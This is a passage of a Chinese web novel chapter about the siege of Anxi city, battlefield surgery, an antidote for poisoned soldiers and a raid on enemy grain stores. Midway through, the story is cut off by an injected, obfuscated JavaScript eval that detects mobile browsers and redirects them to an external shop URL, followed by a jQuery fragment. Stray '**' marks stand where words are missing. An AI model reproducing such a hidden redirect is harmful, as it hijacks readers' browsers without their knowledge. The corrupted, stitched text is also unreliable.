陆衍沉默片刻，从怀中取出一个油纸包。“今早刚采的七星草，但来不及煎煮。”
“那就制成丸剂。”沈清沅果断道，“磨成粉混入米浆，搓成小丸。军医营有石臼和炉灶，我让赵峰调十人给你。”
两人分头行动。沈清沅带着二十余名妇人登上东城墙，血腥气扑面而来。箭矢插在垛口上，地上散落着断刃和破损的盾牌。一个年轻士兵靠在墙边，腹部不断渗血。
“按住他的肩膀。”沈清沅对身旁的绿衣妇人道。她利落地剪开士兵的衣襟，用烧酒冲洗伤口。士兵咬紧牙关，额角青筋暴起。“箭头卡在肋骨间，必须取出来。”她抬头看向众人，“谁手稳？”
一个瘦高妇人上前：“我常给家里宰羊。”
沈清沅递过镊子：“顺着创口探入，碰到硬物就夹紧拔出。”她按住士兵双腿，“别怕疼，活着比什么都强。”
妇人手指微颤却准确，镊子深入伤口片刻，带出一枚染血的箭头。沈清沅立即撒上金疮药，用布带层层包扎。“抬下去喝些米汤。”她抹去额角汗水，转向下一个伤员。
城楼另一侧突然响起惊呼。几个士兵浑身发紫地倒地抽搐，口吐白沫——正是七星草毒发的症状。人群出现骚动，有人喊着“瘟疫来了”。
此时陆衍带人抬着药筐登上城墙。“解药在此！”他高声喝道，军医营士兵迅速将褐色药丸分发给众人。**士兵服下后不过片刻，抽搐渐止，脸上青紫缓缓消退。
“是解药！真的有用！”士兵们奔走相告，恐慌渐渐平息。陆衍走到沈清沅身旁，递给她一丸：“加了甘草，能缓和你腿上的痛。”
沈清沅吞下药丸，苦涩中带着甘甜。“多少人了？”
“够全军三日用量。”陆衍望向城外北狄大营，“但他们不会给我们三天时间。”
仿佛回应他的话，北狄营中突然响起急促号角。黑压压的骑兵阵列从营中涌出，为首的正是乌先生的狼卫旗帜。
“他们要总攻了。”沈清沅握紧剑柄。
突然，北狄大营侧翼升起滚滚浓烟。火光冲天而起，隐约传来马匹惊惶的嘶鸣。北狄骑兵阵列出现混乱，后军纷纷调转方向。
“是粮营！”瞭望塔上的士兵大喊，“有人烧了北狄粮草！”
沈清沅极目远望，只见一队轻骑从烟火中冲出，为首白袍将军手执**，正是兄长沈惊寒。他率骑兵如利刃切入北狄后阵，所过之处火光四起。
“惊寒成功了。”沈清沅长舒一口气。三日前他们定计时，沈惊寒主动请缨突袭粮营——他的哮喘最怕烟尘，却偏选了最凶险的任务。
北狄军心大乱。前军仍在攻城，后军却急于回援。乌先生的中军旗帜不断变换指令，终究无法稳住阵型。
黄昏时分，北狄鸣金收兵。狼卫护着中军缓缓后撤，城墙上爆发出疲惫的欢呼。
沈清沅正要下令救治伤员，却见一骑突然脱离北狄大队，直冲到城墙一箭之地。乌先生摘下面具，阴鸷的目光直射城头。
“今日之辱，他日必百倍奉还。”他的声音穿透暮色，冰冷刺骨，“安西城不过是个开始。西域三十六部，早已备好厚礼。”
羽箭纷纷射向他，却只钉在马蹄后的尘土中。乌先生冷笑一声，调转马头离去。
沈清沅默立片刻，转身投入救治。城墙上下躺满伤员，军医营的人手远远不够。她带着女医小队逐个检查，能走动的扶下城墙，重伤的就地处理。
陆衍在处理一个胸口中箭的校尉时，发现箭头淬了新型**。“不是七星草，毒性更烈。”他蹙眉，“北狄在用伤员消耗我们的药材。”
深夜时分，伤亡清点终于完成。守军折损三成，百姓死伤逾千，药库存量仅够维持两天。
沈惊寒带着一身烟尘归来，左臂简单缠着渗血的布带。“烧了七成粮草，但乌先生提前转移了部分精锐。”他咳嗽几声，“西域那边恐怕真有变故。”
陆衍递过水囊：“乌先生临走时提到了西域三十六部。”
“北狄一直想打通西域商道。”沈惊寒神色凝重，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16825315|191112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“若真联手，安西城就是孤岛了。”
三人沉默下来。城外北狄营火星星点点，仿佛蛰伏的兽群。
沈清沅忽然起身：“伤亡太重，必须尽快补充兵员和药材。”
“征兵令早已发出，但周边村落遭北狄劫掠，壮丁不足。”沈惊寒摇头，“药材更难，西域通路断绝，内地运输至少要半个月。”
“那就用战俘交换。”沈清沅目光锐利，“今日俘获的北狄将领，换个药材通道应该足够。”
陆衍若有所思：“或许还能试探西域的态度。”
计划商定后，沈惊寒前去安排谈判事宜。陆衍留下来帮沈清沅更换腿上的药布。
“你的腿伤又加重了。”他看着肿胀的踝关节，“明天必须休息。”
沈清沅望着城外夜色：“乌先生为什么特意提到西域？”
陆衍动作稍顿：“你怀疑他话中有话？”
“太刻意了。”沈清沅轻按伤处，“像生怕我们不去查西域似的。”
远处传来马蹄声，一骑快马冲破夜色直入城内。传令兵跌跌撞撞跑上城墙：“西域急报！楼兰国三日前，新王宣布与北狄结盟！”
沈清沅与陆衍对视一眼。乌先生的“厚礼”原来在此。
“还有……”传令兵喘着气，“商队在戈壁发现了这个。”他递上一块撕裂的衣料，上面绣着半朵熟悉的雪莲纹样。
沈清沅指尖抚过纹路。那是母亲最爱用的绣样。
“发现地点？”
“黑风口西三十里。”
陆衍接过布料细看：“血迹很新，不超过两天。”
沈清沅握紧布料望向西方。夜幕下的戈壁滩如同巨兽蛰伏，风声中似有金铁交鸣。
“准备马匹。”她转身下令，“天亮就去黑风口。”
陆衍正要劝阻，却见她眼中是从未有过的决绝。
“她可能还活着。”沈清沅轻声道，“我必须去确认。”
远处传来狼嚎般的长啸，仿佛来自黑风口方向。